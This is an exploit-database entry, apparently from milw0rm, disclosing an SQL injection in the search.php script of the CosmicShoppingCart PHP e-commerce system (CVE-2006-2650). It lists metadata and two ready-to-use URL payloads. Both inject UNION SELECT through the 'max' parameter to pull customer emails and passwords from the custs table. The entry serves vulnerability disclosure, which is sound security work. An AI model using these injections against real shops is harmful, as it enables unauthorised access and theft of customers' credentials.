CosmicShoppingCart - 'search.php' SQL Injection

Author: Vympel
type: webapps
platform: php
port: 0
date_added: 2006-05-27
date_updated: 
verified: 1
codes: OSVDB-26089;CVE-2006-2650
tags: 
aliases: 
screenshot_url: 
application_url: 

Software: CosmicShoppingCart (www.cosmicphp.com)
Risk: Medium
Discovered by: Vympel (Marcelo Almeida)
Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed.

SQL injections have been found, they could be exploited by users to retrieve the passwords of the admin.

Examples:
cosmicshop/search.php?max=-1%20UNION%20SELECT%201,1,1,cust_password,1,1,1,1,1%20FROM%20custs/*
cosmicshop/search.php?max='2'%20UNION%20SELECT%20'a','a','a',cust_email,cust_password,'abc',1,'a','a'%20FROM%20custs--

# milw0rm.com [2006-05-28]
↑